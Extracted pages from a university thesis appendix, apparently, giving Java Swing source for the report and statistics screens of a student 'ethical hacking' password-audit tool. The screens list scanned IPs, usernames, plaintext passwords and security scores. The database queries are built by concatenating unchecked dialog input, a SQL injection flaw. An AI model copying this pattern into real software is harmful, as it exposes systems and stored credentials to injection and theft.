import java.io.*; import java.net.*; import java.io.*; import java.io.PrintStream; import javax.swing.JOptionPane; import java.SQL.*; import org.jfree.*; import java.awt.*; public class reporte extends javax.swing.JFrame { public reporte() { initComponents(); } private void initComponents() { jLabel1 = new javax.swing.JLabel(); botonanálisis = new javax.swing.JButton(); botonreportes = new javax.swing.JButton(); botonestadisticas = new javax.swing.JButton(); botonacercade = new javax.swing.JButton(); botonsalir = new javax.swing.JButton(); jScrollPane3 = new javax.swing.JScrollPane(); tabla_resultados_passwd1 = new javax.swing.JTable(); botonip = new javax.swing.JButton(); jMenuBar1 = new javax.swing.JMenuBar(); scan = new javax.swing.JMenu(); scan_ip_puertos = new javax.swing.JMenuItem(); hackeo = new javax.swing.JMenu(); hacking_etico = new javax.swing.JMenuItem(); análisis = new javax.swing.JMenu(); análisis_claves = new javax.swing.JMenuItem(); reportes = new javax.swing.JMenu(); reportes_estadisticos = new javax.swing.JMenuItem(); estadisticas = new javax.swing.JMenu(); estadisticas_re = new javax.swing.JMenuItem(); ayuda = new javax.swing.JMenu(); ayudita = new javax.swing.JMenuItem(); acerca_de = new javax.swing.JMenu(); acerca_de_menu = new javax.swing.JMenuItem(); salir = new javax.swing.JMenu(); salida = new javax.swing.JMenuItem(); setDefaultCloseOperation(javax.swing.WindowConstants.DISPOSE_ON_CLOSE); setTitle("REPORTES GENERALES"); jLabel1.setFont(new java.awt.Font("Serif", 3, 25)); jLabel1.setForeground(new java.awt.Color(0, 51, 204)); jLabel1.setText("Reportes del sistema"); botonanálisis.setFont(new java.awt.Font("Arial", 0, 10));

Page 305: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

290

botonanálisis.setForeground(new java.awt.Color(0, 102, 102)); botonanálisis.setIcon(new javax.swing.ImageIcon("/root/hacking_etico/imagenes/análisis.gif")); botonanálisis.setText("Por Fecha"); botonanálisis.addActionListener(new java.awt.event.ActionListener() { public void actionPerformed(java.awt.event.ActionEvent evt) { botonanálisisActionPerformed(evt); } }); botonreportes.setFont(new java.awt.Font("Arial", 0, 10)); botonreportes.setForeground(new java.awt.Color(0, 102, 102)); botonreportes.setIcon(new javax.swing.ImageIcon("/root/hacking_etico/imagenes/reportes.gif")); botonreportes.setText("% seguridad"); botonreportes.addActionListener(new java.awt.event.ActionListener() { public void actionPerformed(java.awt.event.ActionEvent evt) { botonreportesActionPerformed(evt); } }); botonestadisticas.setFont(new java.awt.Font("Arial", 0, 10)); botonestadisticas.setForeground(new java.awt.Color(0, 102, 102)); botonestadisticas.setIcon(new javax.swing.ImageIcon("/root/hacking_etico/imagenes/estadisticas.gif")); botonestadisticas.setText("Estad\u00edstica"); botonestadisticas.addActionListener(new java.awt.event.ActionListener() { public void actionPerformed(java.awt.event.ActionEvent evt) { botonestadisticasActionPerformed(evt); } }); botonacercade.setFont(new java.awt.Font("Arial", 0, 10)); botonacercade.setForeground(new java.awt.Color(0, 102, 102)); botonacercade.setIcon(new javax.swing.ImageIcon("/root/hacking_etico/imagenes/acerca_de.GIF")); botonacercade.setText("Todos"); botonacercade.setToolTipText("Creditos"); botonacercade.addActionListener(new java.awt.event.ActionListener() { public void actionPerformed(java.awt.event.ActionEvent evt) { botonacercadeActionPerformed(evt); } }); botonsalir.setFont(new java.awt.Font("Arial", 0, 10)); botonsalir.setForeground(new java.awt.Color(0, 102, 102)); botonsalir.setIcon(new javax.swing.ImageIcon("/root/hacking_etico/imagenes/análisis.gif")); botonsalir.setText("Vigencia"); botonsalir.setToolTipText("Salir"); botonsalir.addActionListener(new java.awt.event.ActionListener() { public void actionPerformed(java.awt.event.ActionEvent evt) {

Page 306: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

291

botonsalirActionPerformed(evt); } }); tabla_resultados_passwd1.setFont(new java.awt.Font("Arial", 0, 11)); tabla_resultados_passwd1.setModel(new javax.swing.table.DefaultTableModel( new Object [][] { }, new String [] { "Direccion", "Usuario", "Password ", "Tipo usuario", "Análisis", "% seguridad", "Estado", "Fecha", "Hora" } ) { Class[] types = new Class [] { java.lang.String.class, java.lang.String.class, java.lang.String.class, java.lang.String.class, java.lang.String.class, java.lang.String.class, java.lang.String.class, java.lang.String.class, java.lang.String.class }; boolean[] canEdit = new boolean [] { false, false, false, false, false, false, false, false, false }; public Class getColumnClass(int columnIndex) { return types [columnIndex]; } public boolean isCellEditable(int rowIndex, int columnIndex) { return canEdit [columnIndex]; } }); jScrollPane3.setViewportView(tabla_resultados_passwd1); botonip.setFont(new java.awt.Font("Arial", 0, 10)); botonip.setForeground(new java.awt.Color(0, 102, 102)); botonip.setIcon(new javax.swing.ImageIcon("/root/hacking_etico/imagenes/acerca_de.GIF")); botonip.setText("IP"); botonip.setToolTipText("Creditos"); botonip.addActionListener(new java.awt.event.ActionListener() { public void actionPerformed(java.awt.event.ActionEvent evt) { botonipActionPerformed(evt); } }); scan.setIcon(new javax.swing.ImageIcon("/root/hacking_etico/imagenes/scan.gif")); scan.setText("Scan"); scan.setToolTipText("Con esta opci on empieza el escaneo de maquinas"); scan.setFont(new java.awt.Font("Arial", 0, 10)); scan_ip_puertos.setFont(new java.awt.Font("Arial", 0, 10)); scan_ip_puertos.setIcon(new javax.swing.ImageIcon("C:\\hacking_etico\\imagenes\\scan.gif")); scan_ip_puertos.setText("Scan del sistema");

Page 307: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

292

scan_ip_puertos.addActionListener(new java.awt.event.ActionListener() { public void actionPerformed(java.awt.event.ActionEvent evt) { scan_ip_puertosActionPerformed(evt); } }); scan.add(scan_ip_puertos); jMenuBar1.add(scan); hackeo.setIcon(new javax.swing.ImageIcon("/root/hacking_etico/imagenes/hackeo.gif")); hackeo.setText("Hackeo"); hackeo.setToolTipText("Con esta opcion empieza la diversi\u00f3n"); hackeo.setEnabled(false); hackeo.setFont(new java.awt.Font("Arial", 0, 10)); hacking_etico.setFont(new java.awt.Font("Arial", 0, 10)); hacking_etico.setIcon(new javax.swing.ImageIcon("C:\\hacking_etico\\imagenes\\hackeo.gif")); hacking_etico.setText("Hackeo a lo salvaje"); hacking_etico.addActionListener(new java.awt.event.ActionListener() { public void actionPerformed(java.awt.event.ActionEvent evt) { hacking_eticoActionPerformed(evt); } }); hackeo.add(hacking_etico); jMenuBar1.add(hackeo); análisis.setIcon(new javax.swing.ImageIcon("/root/hacking_etico/imagenes/análisis.gif")); análisis.setText("An\u00e1lisis"); análisis.setToolTipText("Análisis de seguridad del sistema"); análisis.setEnabled(false); análisis.setFont(new java.awt.Font("Arial", 0, 10)); análisis_claves.setFont(new java.awt.Font("Arial", 0, 10)); análisis_claves.setIcon(new javax.swing.ImageIcon("C:\\hacking_etico\\imagenes\\análisis.gif")); análisis_claves.setText("Analiisis de datos"); análisis_claves.addActionListener(new java.awt.event.ActionListener() { public void actionPerformed(java.awt.event.ActionEvent evt) { análisis_clavesActionPerformed(evt); } }); análisis.add(análisis_claves); jMenuBar1.add(análisis); reportes.setIcon(new javax.swing.ImageIcon("/root/hacking_etico/imagenes/reportes.gif")); reportes.setText("Reportes"); reportes.setToolTipText("Con esta opcion se pueden visualizar los diferentes reportes"); reportes.setFont(new java.awt.Font("Arial", 0, 10)); reportes_estadisticos.setFont(new java.awt.Font("Arial", 0, 10));

Page 308: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

293

reportes_estadisticos.setIcon(new javax.swing.ImageIcon("C:\\hacking_etico\\imagenes\\start.gif")); reportes_estadisticos.setText("Reportes del sistema"); reportes_estadisticos.addActionListener(new java.awt.event.ActionListener() { public void actionPerformed(java.awt.event.ActionEvent evt) { reportes_estadisticosActionPerformed(evt); } }); reportes.add(reportes_estadisticos); jMenuBar1.add(reportes); estadisticas.setIcon(new javax.swing.ImageIcon("/root/hacking_etico/imagenes/estadisticas.gif")); estadisticas.setText("Estad\u00edstica"); estadisticas.setToolTipText("Esta opcion nos muestra las estadisticas del sistema"); estadisticas.setFont(new java.awt.Font("Arial", 0, 10)); estadisticas_re.setFont(new java.awt.Font("Arial", 0, 10)); estadisticas_re.setIcon(new javax.swing.ImageIcon("C:\\hacking_etico\\imagenes\\estadisticas.gif")); estadisticas_re.setText("Estadisticas del sistema"); estadisticas_re.addActionListener(new java.awt.event.ActionListener() { public void actionPerformed(java.awt.event.ActionEvent evt) { estadisticas_reActionPerformed(evt); } }); estadisticas.add(estadisticas_re); jMenuBar1.add(estadisticas); ayuda.setIcon(new javax.swing.ImageIcon("/root/hacking_etico/imagenes/ayuda.GIF")); ayuda.setText("Ayuda"); ayuda.setToolTipText("Esta opcion ofrece ayuda en linea"); ayuda.setFont(new java.awt.Font("Arial", 0, 10)); ayudita.setFont(new java.awt.Font("Arial", 0, 10)); ayudita.setIcon(new javax.swing.ImageIcon("C:\\hacking_etico\\imagenes\\ayuda.GIF")); ayudita.setText("Ayuda en linea"); ayuda.add(ayudita); jMenuBar1.add(ayuda); acerca_de.setIcon(new javax.swing.ImageIcon("/root/hacking_etico/imagenes/acerca_de.GIF")); acerca_de.setText("Acerca..."); acerca_de.setFont(new java.awt.Font("Arial", 0, 10)); acerca_de_menu.setFont(new java.awt.Font("Arial", 0, 10)); acerca_de_menu.setIcon(new javax.swing.ImageIcon("C:\\hacking_etico\\imagenes\\acerca_de.GIF")); acerca_de_menu.setText("Creditos del programa"); acerca_de.add(acerca_de_menu); jMenuBar1.add(acerca_de);

Page 309: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

294

salir.setIcon(new javax.swing.ImageIcon("/root/hacking_etico/imagenes/salir.GIF")); salir.setText("Salir"); salir.setToolTipText("Salir del sistema"); salir.setFont(new java.awt.Font("Arial", 0, 10)); salida.setFont(new java.awt.Font("Arial", 0, 10)); salida.setIcon(new javax.swing.ImageIcon("C:\\hacking_etico\\imagenes\\salir.GIF")); salida.setText("Salir del sistema"); salir.add(salida); jMenuBar1.add(salir); setJMenuBar(jMenuBar1); org.jdesktop.layout.GroupLayout layout = new org.jdesktop.layout.GroupLayout(getContentPane()); getContentPane().setLayout(layout); layout.setHorizontalGroup( layout.createParallelGroup(org.jdesktop.layout.GroupLayout.LEADING) .add(layout.createSequentialGroup() .add(layout.createParallelGroup(org.jdesktop.layout.GroupLayout.LEADING) .add(layout.createSequentialGroup() .add(235, 235, 235) .add(jLabel1, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE, 282, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE)) .add(layout.createSequentialGroup() .addContainerGap() .add(botonestadisticas) .addPreferredGap(org.jdesktop.layout.LayoutStyle.RELATED) .add(botonreportes) .addPreferredGap(org.jdesktop.layout.LayoutStyle.RELATED) .add(botonanálisis) .addPreferredGap(org.jdesktop.layout.LayoutStyle.RELATED) .add(botonacercade) .addPreferredGap(org.jdesktop.layout.LayoutStyle.RELATED) .add(botonsalir) .add(15, 15, 15) .add(botonip)) .add(layout.createSequentialGroup() .addContainerGap() .add(jScrollPane3, org.jdesktop.layout.GroupLayout.DEFAULT_SIZE, 695, Short.MAX_VALUE))) .addContainerGap()) ); layout.setVerticalGroup( layout.createParallelGroup(org.jdesktop.layout.GroupLayout.LEADING) .add(layout.createSequentialGroup() .addContainerGap() .add(jLabel1) .add(18, 18, 18)

Page 310: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

295

.add(jScrollPane3, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE, 243, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE) .add(15, 15, 15) .add(layout.createParallelGroup(org.jdesktop.layout.GroupLayout.BASELINE) .add(botonestadisticas, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE, 41, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE) .add(botonreportes, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE, 41, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE) .add(botonanálisis, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE, 41, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE) .add(botonacercade, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE, 41, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE) .add(botonsalir, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE, 41, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE) .add(botonip, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE, 41, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE)) .addContainerGap(19, Short.MAX_VALUE)) ); java.awt.Dimension screenSize = java.awt.Toolkit.getDefaultToolkit().getScreenSize(); setBounds((screenSize.width-729)/2, (screenSize.height-444)/2, 729, 444); }// </editor-fold> private void estadisticas_reActionPerformed(java.awt.event.ActionEvent evt) { estadistica as = new estadistica(); as.show(); } private void botonipActionPerformed(java.awt.event.ActionEvent evt) { consulta_final =""; k=0; j=0; for (int i = 0; i < 998; i++) { for(int j=0;j<=8;j++){ tabla_resultados_passwd1.setValueAt("",i,j); } } try{ consulta_final = JOptionPane.showInputDialog("Ingrese la IP a ser consultada-->"); Connection connection = ACCESS.ObtenerConexion(); Statement statement = connection.createStatement(); String SQL = "select * from reporte where direccion = '"+consulta_final+"'"; ResultSet resultset = statement.executeQuery(SQL); for(resultset=statement.executeQuery(SQL);resultset.next();) // que

Page 311: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

296

conicida el password y el usuario { tabla_resultados_passwd1.setValueAt(resultset.getString("direccion"),k,j); tabla_resultados_passwd1.setValueAt(resultset.getString("usuario"),k,j+1); tabla_resultados_passwd1.setValueAt(resultset.getString("password"),k,j+2); tabla_resultados_passwd1.setValueAt(resultset.getString("tipo_usuario"),k,j+3); tabla_resultados_passwd1.setValueAt(resultset.getString("análisis"),k,j+4); tabla_resultados_passwd1.setValueAt(resultset.getString("seguridad"),k,j+5); tabla_resultados_passwd1.setValueAt(resultset.getString("estado"),k,j+6); tabla_resultados_passwd1.setValueAt(resultset.getString("fecha"),k,j+7); tabla_resultados_passwd1.setValueAt(resultset.getString("hora"),k,j+8); k++; } connection.commit(); statement.close(); Msg a=new Msg("MENSAJE","/root/hacking_etico/imagenes/escudo_u.jpg","consulta exitossa de los datos","--","gracias por usar nuestro programa..."); }catch(Exception e){ Msg a=new Msg("AVISO","/root/hacking_etico/imagenes/escudo_u.jpg","no se pudo ejecutar la consulta","verifique las conexiones con la base","y vuelvalo a intentar..."); } } private void reportes_estadisticosActionPerformed(java.awt.event.ActionEvent evt) { reporte report = new reporte(); report.show(); } private void scan_ip_puertosActionPerformed(java.awt.event.ActionEvent evt) { hide();dispose(); pantalla_scan pa = new pantalla_scan(); pa.show(); } private void botonsalirActionPerformed(java.awt.event.ActionEvent evt) { consulta_final =""; k=0; j=0; for (int i = 0; i < 998; i++) { for(int j=0;j<=8;j++){ tabla_resultados_passwd1.setValueAt("",i,j); } } try{ consulta_final = JOptionPane.showInputDialog("Ingrese el tipo de estado de los passwords (vigente-expirado)-->"); Connection connection = ACCESS.ObtenerConexion(); Statement statement = connection.createStatement();

Page 312: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

297

String SQL = "select * from reporte where estado = '"+consulta_final+"'"; ResultSet resultset = statement.executeQuery(SQL); for(resultset=statement.executeQuery(SQL);resultset.next();) // que conicida el password y el usuario { tabla_resultados_passwd1.setValueAt(resultset.getString("direccion"),k,j); tabla_resultados_passwd1.setValueAt(resultset.getString("usuario"),k,j+1); tabla_resultados_passwd1.setValueAt(resultset.getString("password"),k,j+2); tabla_resultados_passwd1.setValueAt(resultset.getString("tipo_usuario"),k,j+3); tabla_resultados_passwd1.setValueAt(resultset.getString("análisis"),k,j+4); tabla_resultados_passwd1.setValueAt(resultset.getString("seguridad"),k,j+5); tabla_resultados_passwd1.setValueAt(resultset.getString("estado"),k,j+6); tabla_resultados_passwd1.setValueAt(resultset.getString("fecha"),k,j+7); tabla_resultados_passwd1.setValueAt(resultset.getString("hora"),k,j+8); k++; } connection.commit(); statement.close(); Msg a=new Msg("MENSAJE","/root/hacking_etico/imagenes/escudo_u.jpg","consulta exitossa de los datos","----------","gracias por usar nuestro programa..."); }catch(Exception e){ Msg a=new Msg("AVISO","/root/hacking_etico/imagenes/escudo_u.jpg","no se pudo ejecutar la consulta","verifique las conexiones con la base","y vuelvalo a intentar..."); } } private void botonacercadeActionPerformed(java.awt.event.ActionEvent evt) { consulta_final =""; k=0; j=0; for (int i = 0; i < 998; i++) { for(int j=0;j<=8;j++){ tabla_resultados_passwd1.setValueAt("",i,j); } } try{ Connection connection = ACCESS.ObtenerConexion(); Statement statement = connection.createStatement(); String SQL = "select * from reporte "; ResultSet resultset = statement.executeQuery(SQL); for(resultset=statement.executeQuery(SQL);resultset.next();) // que conicida el password y el usuario { tabla_resultados_passwd1.setValueAt(resultset.getString("direccion"),k,j); tabla_resultados_passwd1.setValueAt(resultset.getString("usuario"),k,j+1); tabla_resultados_passwd1.setValueAt(resultset.getString("password"),k,j+2); tabla_resultados_passwd1.setValueAt(resultset.getString("tipo_usuario"),k,j+3);

Page 313: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

298

tabla_resultados_passwd1.setValueAt(resultset.getString("análisis"),k,j+4); tabla_resultados_passwd1.setValueAt(resultset.getString("seguridad"),k,j+5); tabla_resultados_passwd1.setValueAt(resultset.getString("estado"),k,j+6); tabla_resultados_passwd1.setValueAt(resultset.getString("fecha"),k,j+7); tabla_resultados_passwd1.setValueAt(resultset.getString("hora"),k,j+8); k++; } connection.commit(); statement.close(); Msg a=new Msg("MENSAJE","/root/hacking_etico/imagenes/escudo_u.jpg","consulta exitossa de los datos","---------------","gracias por usar nuestro programa..."); }catch(Exception e){ Msg a=new Msg("AVISO","/root/hacking_etico/imagenes/escudo_u.jpg","no se pudo ejecutar la consulta","verifique las conexiones con la base","y vuelvalo a intentar..."); } } private void botonestadisticasActionPerformed(java.awt.event.ActionEvent evt) { estadistica est = new estadistica(); est.show(); } private void botonreportesActionPerformed(java.awt.event.ActionEvent evt) { consulta_final =""; k=0; j=0; for (int i = 0; i < 998; i++) { for(int j=0;j<=8;j++){ tabla_resultados_passwd1.setValueAt("",i,j); } } try{ consulta_final = JOptionPane.showInputDialog("Ingrese el % de seguridad a ser buscado-->"); Connection connection = ACCESS.ObtenerConexion(); Statement statement = connection.createStatement(); String SQL = "select * from reporte where seguridad = '"+consulta_final+"'"; ResultSet resultset = statement.executeQuery(SQL); for(resultset=statement.executeQuery(SQL);resultset.next();) // que conicida el password y el usuario { tabla_resultados_passwd1.setValueAt(resultset.getString("direccion"),k,j); tabla_resultados_passwd1.setValueAt(resultset.getString("usuario"),k,j+1); tabla_resultados_passwd1.setValueAt(resultset.getString("password"),k,j+2); tabla_resultados_passwd1.setValueAt(resultset.getString("tipo_usuario"),k,j+3); tabla_resultados_passwd1.setValueAt(resultset.getString("análisis"),k,j+4); tabla_resultados_passwd1.setValueAt(resultset.getString("seguridad"),k,j+5);

Page 314: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

299

tabla_resultados_passwd1.setValueAt(resultset.getString("estado"),k,j+6); tabla_resultados_passwd1.setValueAt(resultset.getString("fecha"),k,j+7); tabla_resultados_passwd1.setValueAt(resultset.getString("hora"),k,j+8); k++; } connection.commit(); statement.close(); Msg a=new Msg("MENSAJE","/root/hacking_etico/imagenes/escudo_u.jpg","consulta exitossa de los datos","---------------","gracias por usar nuestro programa..."); }catch(Exception e){ Msg a=new Msg("AVISO","/root/hacking_etico/imagenes/escudo_u.jpg","no se pudo ejecutar la consulta","verifique las conexiones con la base","y vuelvalo a intentar..."); } } private void botonanálisisActionPerformed(java.awt.event.ActionEvent evt) { consulta_final =""; k=0; j=0; for (int i = 0; i < 998; i++) { for(int j=0;j<=8;j++){ tabla_resultados_passwd1.setValueAt("",i,j); } } try{ consulta_final = JOptionPane.showInputDialog("Ingrese la fecha a ser consultada-->"); Connection connection = ACCESS.ObtenerConexion(); Statement statement = connection.createStatement(); String SQL = "select * from reporte where fecha = '"+consulta_final+"'"; ResultSet resultset = statement.executeQuery(SQL); for(resultset=statement.executeQuery(SQL);resultset.next();) // que conicida el password y el usuario { tabla_resultados_passwd1.setValueAt(resultset.getString("direccion"),k,j); tabla_resultados_passwd1.setValueAt(resultset.getString("usuario"),k,j+1); tabla_resultados_passwd1.setValueAt(resultset.getString("password"),k,j+2); tabla_resultados_passwd1.setValueAt(resultset.getString("tipo_usuario"),k,j+3); tabla_resultados_passwd1.setValueAt(resultset.getString("análisis"),k,j+4); tabla_resultados_passwd1.setValueAt(resultset.getString("seguridad"),k,j+5); tabla_resultados_passwd1.setValueAt(resultset.getString("estado"),k,j+6); tabla_resultados_passwd1.setValueAt(resultset.getString("fecha"),k,j+7); tabla_resultados_passwd1.setValueAt(resultset.getString("hora"),k,j+8); k++; } connection.commit(); statement.close();

Page 315: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

300

Msg a=new Msg("MENSAJE","/root/hacking_etico/imagenes/escudo_u.jpg","consulta exitossa de los datos","---------------","gracias por usar nuestro programa..."); }catch(Exception e){ Msg a=new Msg("AVISO","/root/hacking_etico/imagenes/escudo_u.jpg","no se pudo ejecutar la consulta","verifique las conexiones con la base","y vuelvalo a intentar..."); } } public static void main(String args[]) { java.awt.EventQueue.invokeLater(new Runnable() { public void run() { new reporte().setVisible(true); } }); } static String consulta_final=""; static int j=0; static int k=0; private javax.swing.JMenu acerca_de; private javax.swing.JMenuItem acerca_de_menu; private javax.swing.JMenu análisis; private javax.swing.JMenuItem análisis_claves; private javax.swing.JMenu ayuda; private javax.swing.JMenuItem ayudita; private javax.swing.JButton botonacercade; private javax.swing.JButton botonanálisis; private javax.swing.JButton botonestadisticas; private javax.swing.JButton botonip; private javax.swing.JButton botonreportes; private javax.swing.JButton botonsalir; private javax.swing.JMenu estadisticas; private javax.swing.JMenuItem estadisticas_re; private javax.swing.JMenu hackeo; private javax.swing.JMenuItem hacking_etico; private javax.swing.JLabel jLabel1; private javax.swing.JMenuBar jMenuBar1; private javax.swing.JScrollPane jScrollPane3; private javax.swing.JMenu reportes; private javax.swing.JMenuItem reportes_estadisticos; private javax.swing.JMenuItem salida; private javax.swing.JMenu salir; private javax.swing.JMenu scan; private javax.swing.JMenuItem scan_ip_puertos; private javax.swing.JTable tabla_resultados_passwd1; }

Page 316: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

301

Estadisticas.java

import java.io.*; import java.io.PrintStream; import javax.swing.JOptionPane; import org.jfree.ui.RefineryUtilities; public class estadistica extends javax.swing.JFrame { public estadistica() { System.gc(); initComponents(); } private void initComponents() { jLabel1 = new javax.swing.JLabel(); b_ip = new javax.swing.JButton(); b_vig_ip = new javax.swing.JButton(); b_todas_ip = new javax.swing.JButton(); b_todas_vig_ip = new javax.swing.JButton(); jLabel2 = new javax.swing.JLabel(); jLabel3 = new javax.swing.JLabel(); jLabel4 = new javax.swing.JLabel(); jLabel5 = new javax.swing.JLabel(); jLabel6 = new javax.swing.JLabel(); jLabel7 = new javax.swing.JLabel(); jLabel8 = new javax.swing.JLabel(); b_ip1 = new javax.swing.JButton(); b_todas_ip1 = new javax.swing.JButton(); b_todas_vig_ip1 = new javax.swing.JButton(); b_vig_ip1 = new javax.swing.JButton(); setTitle("ESTADISTICAS"); jLabel1.setFont(new java.awt.Font("SansSerif", 3, 18)); jLabel1.setForeground(new java.awt.Color(51, 0, 255)); jLabel1.setText("generacion de estadisticas del sistema"); b_ip.setIcon(new javax.swing.ImageIcon("/root/hacking_etico/imagenes/acerca_de.GIF")); b_ip.setText("Por IP"); b_ip.addActionListener(new java.awt.event.ActionListener() { public void actionPerformed(java.awt.event.ActionEvent evt) { b_ipActionPerformed(evt); } }); b_vig_ip.setIcon(new javax.swing.ImageIcon("/root/hacking_etico/imagenes/acerca_de.GIF")); b_vig_ip.setText("Por IP"); b_vig_ip.addActionListener(new java.awt.event.ActionListener() { public void actionPerformed(java.awt.event.ActionEvent evt) { b_vig_ipActionPerformed(evt); }

Page 317: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

302

}); b_todas_ip.setIcon(new javax.swing.ImageIcon("/root/hacking_etico/imagenes/acerca_de.GIF")); b_todas_ip.setText("Todas las IP"); b_todas_ip.addActionListener(new java.awt.event.ActionListener() { public void actionPerformed(java.awt.event.ActionEvent evt) { b_todas_ipActionPerformed(evt); } }); b_todas_vig_ip.setIcon(new javax.swing.ImageIcon("/root/hacking_etico/imagenes/acerca_de.GIF")); b_todas_vig_ip.setText("Todas las IP"); b_todas_vig_ip.addActionListener(new java.awt.event.ActionListener() { public void actionPerformed(java.awt.event.ActionEvent evt) { b_todas_vig_ipActionPerformed(evt); } }); jLabel2.setText("Nivel de seguridad"); jLabel3.setText("Vigencia"); jLabel4.setIcon(new javax.swing.ImageIcon("/root/hacking_etico/imagenes/escudo_u.JPG")); jLabel5.setText("Tipo barras:"); jLabel6.setText("Tipo barras:"); jLabel7.setText("Tipo pastel:"); jLabel8.setText("Tipo pastel:"); b_ip1.setIcon(new javax.swing.ImageIcon("/root/hacking_etico/imagenes/acerca_de.GIF")); b_ip1.setText("Por IP"); b_ip1.addActionListener(new java.awt.event.ActionListener() { public void actionPerformed(java.awt.event.ActionEvent evt) { b_ip1ActionPerformed(evt); } }); b_todas_ip1.setIcon(new javax.swing.ImageIcon("/root/hacking_etico/imagenes/acerca_de.GIF")); b_todas_ip1.setText("Todas las IP"); b_todas_ip1.addActionListener(new java.awt.event.ActionListener() { public void actionPerformed(java.awt.event.ActionEvent evt) { b_todas_ip1ActionPerformed(evt); } }); b_todas_vig_ip1.setIcon(new javax.swing.ImageIcon("/root/hacking_etico/imagenes/acerca_de.GIF")); b_todas_vig_ip1.setText("Todas las IP"); b_todas_vig_ip1.addActionListener(new java.awt.event.ActionListener() { public void actionPerformed(java.awt.event.ActionEvent evt) { b_todas_vig_ip1ActionPerformed(evt); }

Page 318: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

303

}); b_vig_ip1.setIcon(new javax.swing.ImageIcon("/root/hacking_etico/imagenes/acerca_de.GIF")); b_vig_ip1.setText("Por IP"); b_vig_ip1.addActionListener(new java.awt.event.ActionListener() { public void actionPerformed(java.awt.event.ActionEvent evt) { b_vig_ip1ActionPerformed(evt); } }); org.jdesktop.layout.GroupLayout layout = new org.jdesktop.layout.GroupLayout(getContentPane()); getContentPane().setLayout(layout); layout.setHorizontalGroup( layout.createParallelGroup(org.jdesktop.layout.GroupLayout.LEADING) .add(layout.createSequentialGroup() .addContainerGap() .add(layout.createParallelGroup(org.jdesktop.layout.GroupLayout.LEADING) .add(jLabel2) .add(layout.createParallelGroup(org.jdesktop.layout.GroupLayout.TRAILING, false) .add(org.jdesktop.layout.GroupLayout.LEADING, b_ip, org.jdesktop.layout.GroupLayout.DEFAULT_SIZE, org.jdesktop.layout.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) .add(org.jdesktop.layout.GroupLayout.LEADING, b_todas_ip)) .add(jLabel5) .add(jLabel7) .add(b_ip1, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE, 137, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE) .add(b_todas_ip1)) .addPreferredGap(org.jdesktop.layout.LayoutStyle.RELATED) .add(jLabel4) .addPreferredGap(org.jdesktop.layout.LayoutStyle.RELATED) .add(layout.createParallelGroup(org.jdesktop.layout.GroupLayout.LEADING) .add(jLabel8) .add(jLabel6) .add(jLabel3) 